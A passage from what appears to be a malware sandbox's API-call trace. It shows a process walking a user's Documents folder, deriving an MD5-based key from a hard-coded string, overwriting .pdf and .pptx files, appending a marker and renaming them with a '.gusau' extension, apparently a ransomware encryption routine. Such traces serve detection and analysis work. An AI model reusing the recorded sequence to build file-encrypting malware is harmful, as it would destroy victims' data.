ftLastAccessTime.dwHighDateTime=0x1d4c7b6, ftLastWriteTime.dwLowDateTime=0xb7b84870, ftLastWriteTime.dwHighDateTime=0x1d4c7b6, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5LxZSjV.pdf", cAlternateFileName="")) returned 1 [0118.898] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0118.898] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.898] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0118.898] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\5LxZSjV.pdf") returned=".pdf" [0118.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\5LxZSjV.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\5lxzsjv.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.898] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=3251) returned 1 [0118.898] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.900] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xc8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.901] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.902] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.902] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.902] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.902] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xcb3, lpOverlapped=0x0) returned 1 [0118.902] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.902] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.902] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.902] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.902] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0118.903] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.903] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.903] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.903] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.903] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.903] GetLastError () returned 0x0 [0118.903] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.903] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0118.903] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.903] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xcb0) returned 0x39f4ef8 [0118.903] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.903] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.903] WriteFile (in: hFile=0x610, lpBuffer=0x39f4ef8*, nNumberOfBytesToWrite=0xcae, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f4ef8*, lpNumberOfBytesWritten=0x405fb24*=0xcae, lpOverlapped=0x0) returned 1 [0118.903] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.903] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xcb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.904] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.904] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.904] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.904] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.904] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.904] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.904] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.904] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.904] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.904] CloseHandle (hObject=0x610) returned 1 [0118.905] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974300 [0118.905] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0118.905] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974300 | out: hHeap=0xd10000) returned 1 [0118.905] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\5LxZSjV.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\5lxzsjv.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\5LxZSjV.pdf.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\5lxzsjv.pdf.gusau")) returned 1 [0118.906] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.906] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.907] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.907] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4835c070, ftCreationTime.dwHighDateTime=0x1d4cac4, ftLastAccessTime.dwLowDateTime=0x4ca8b610, ftLastAccessTime.dwHighDateTime=0x1d4d016, ftLastWriteTime.dwLowDateTime=0x4ca8b610, ftLastWriteTime.dwHighDateTime=0x1d4d016, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8GBnXsZ.pdf", cAlternateFileName="")) returned 1 [0118.907] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0118.907] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.907] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0118.907] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\8GBnXsZ.pdf") returned=".pdf" [0118.907] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\8GBnXsZ.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\8gbnxsz.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.908] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=3368) returned 1 [0118.908] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.910] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd02, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.910] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.912] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.912] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.912] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.912] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xd28, lpOverlapped=0x0) returned 1 [0118.912] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.912] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.912] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.912] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.912] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0118.913] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.913] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.913] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.913] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.913] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.913] GetLastError () returned 0x0 [0118.913] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.913] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0118.913] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.913] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd30) returned 0x39f4ef8 [0118.913] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.913] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.913] WriteFile (in: hFile=0x610, lpBuffer=0x39f4ef8*, nNumberOfBytesToWrite=0xd23, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f4ef8*, lpNumberOfBytesWritten=0x405fb24*=0xd23, lpOverlapped=0x0) returned 1 [0118.913] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.913] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.914] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.914] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.914] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.914] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.914] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.914] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.914] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.914] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.914] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.914] CloseHandle (hObject=0x610) returned 1 [0118.915] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974300 [0118.915] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0118.915] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974300 | out: hHeap=0xd10000) returned 1 [0118.915] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\8GBnXsZ.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\8gbnxsz.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\8GBnXsZ.pdf.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\8gbnxsz.pdf.gusau")) returned 1 [0118.915] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.915] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.916] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.916] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfacaf420, ftCreationTime.dwHighDateTime=0x1d4cd8b, ftLastAccessTime.dwLowDateTime=0x639adf60, ftLastAccessTime.dwHighDateTime=0x1d4d214, ftLastWriteTime.dwLowDateTime=0x639adf60, ftLastWriteTime.dwHighDateTime=0x1d4d214, nFileSizeHigh=0x0, nFileSizeLow=0x14130, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aVltm_fp_1spcSpiUB7E.pptx", cAlternateFileName="AVLTM_~1.PPT")) returned 1 [0118.916] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0118.916] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.916] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0118.916] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\aVltm_fp_1spcSpiUB7E.pptx") returned=".pptx" [0118.916] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\aVltm_fp_1spcSpiUB7E.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\avltm_fp_1spcspiub7e.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.917] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=82224) returned 1 [0118.917] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.919] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1410a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.919] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.920] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.920] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.920] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.920] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x14130, lpOverlapped=0x0) returned 1 [0118.921] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.921] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.921] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.921] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.921] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0118.922] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.922] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.922] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.922] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.922] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.922] GetLastError () returned 0x0 [0118.922] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.922] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0118.922] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.922] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x14130) returned 0x39f9f20 [0118.923] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.923] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.923] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x1412b, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x1412b, lpOverlapped=0x0) returned 1 [0118.923] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.923] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x14130, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.923] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.923] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.923] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.923] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.923] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.923] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.923] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.923] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.923] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.924] CloseHandle (hObject=0x610) returned 1 [0118.925] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e108 [0118.925] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8d0) returned 0x39f4ef8 [0118.925] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.925] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\aVltm_fp_1spcSpiUB7E.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\avltm_fp_1spcspiub7e.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\aVltm_fp_1spcSpiUB7E.pptx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\avltm_fp_1spcspiub7e.pptx.gusau")) returned 1 [0118.925] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.925] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.926] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.926] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa4bc100, ftCreationTime.dwHighDateTime=0x1d4cc23, ftLastAccessTime.dwLowDateTime=0xf8166100, ftLastAccessTime.dwHighDateTime=0x1d4d034, ftLastWriteTime.dwLowDateTime=0xf8166100, ftLastWriteTime.dwHighDateTime=0x1d4d034, nFileSizeHigh=0x0, nFileSizeLow=0x13bb6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="c7w3Be_K.pptx", cAlternateFileName="C7W3BE~1.PPT")) returned 1 [0118.926] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0118.926] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.926] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0118.926] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\c7w3Be_K.pptx") returned=".pptx" [0118.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\c7w3Be_K.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\c7w3be_k.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.928] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=80822) returned 1 [0118.928] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.930] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x13b90, lpNewFilePointer=0x0, 